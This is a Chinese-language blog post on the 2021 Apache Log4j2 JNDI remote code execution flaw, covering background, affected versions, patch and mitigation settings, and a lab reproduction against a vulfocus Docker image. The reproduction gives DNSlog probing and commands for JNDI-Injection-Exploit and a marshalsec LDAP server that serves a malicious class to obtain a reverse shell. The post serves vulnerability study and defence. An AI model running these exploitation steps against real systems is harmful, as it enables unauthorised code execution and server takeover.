Log4j2 远程代码执行漏洞


Apache Log4j2 远程代码执行漏洞

漏洞背景

  • log4j2是apache实现的一个开源日志组件。2021年12月9日Apache Log4j 2被披露出存在严重的远程代码执行漏洞。

  • 该日志框架被大量用于业务系统开发,用来记录日志信息。此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。

  • log4j2属于第三方组件库,被大量Java框架应用使用,即Apache Struts2、Apache Solr、Apache Druid、Apache Flink、Apache Dubbo、Apache Kafka、Spring-boot-starter-log4j2等应用均受影响。

    2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2 远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。CNVD建议受影响用户立即更新至最新版本,同时采取防范性措施避免漏洞攻击威胁。

    Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。

    2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。由于Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

    CNVD 对该漏洞的综合评级为“高危”。

影响版本

Apache Log4j 2.x <= 2.14.1

jdk版本

我这里181版本只需要设置System.setProperty(“com.sun.jndi.rmi.object.trustURLCodebase”, “true”);就可以被攻击。如果大于等于191版本设置不同,甚至你后面的注入触发不了。
有兴趣的可以看:

如何绕过高版本JDK的限制进行JNDI注入利用

修复建议

1、 排查Java应用是否引入 log4j-api , log4j-core 两个jar,及/Apache Solr/Apache Flink/Apache Druid/Apache Dubbo/srping-boot-strater-log4j2等应用和组件,请及时检查所有相关应用升级到最新版本。官方补丁 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

2、 紧急缓解措施:

(1) 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true

(2) 修改配置log4j2.formatMsgNoLookups=True

(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

官方链接:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

log4j-2.15.0-rc1 为安全版本。

漏洞复现

启动环境

sudo docker pull vulfocus/log4j2-rce-2021-12-09:latest
sudo docker run -d -p 8101:8080 vulfocus/log4j2-rce-2021-12-09:latest

img

漏洞复现

  • 由于该RCE漏洞,在目标环境中是没有回显,借助DNSlog平台,利用DNS解析验证漏洞的存在性。

    http://www.dnslog.cn/
    https://log.咕.com/

    img

  • 抓包,改包。

img

  • DNSLog 平台收到解析记录。

img

深度利用

  • 启动一个LDAP或RMI服务。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C[cmd] -A[IP]

  • 执行反弹shell

img

marshalsec复现

source: log4j-2.14.1

1:编译恶意class 并开启监听:python3 -m http.server 8888

2:开启LDAP:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit

3: 调用log4j

img

#漏洞分析

img

参考链接
https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues


文章作者: Augu5t
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Augu5t !
  目录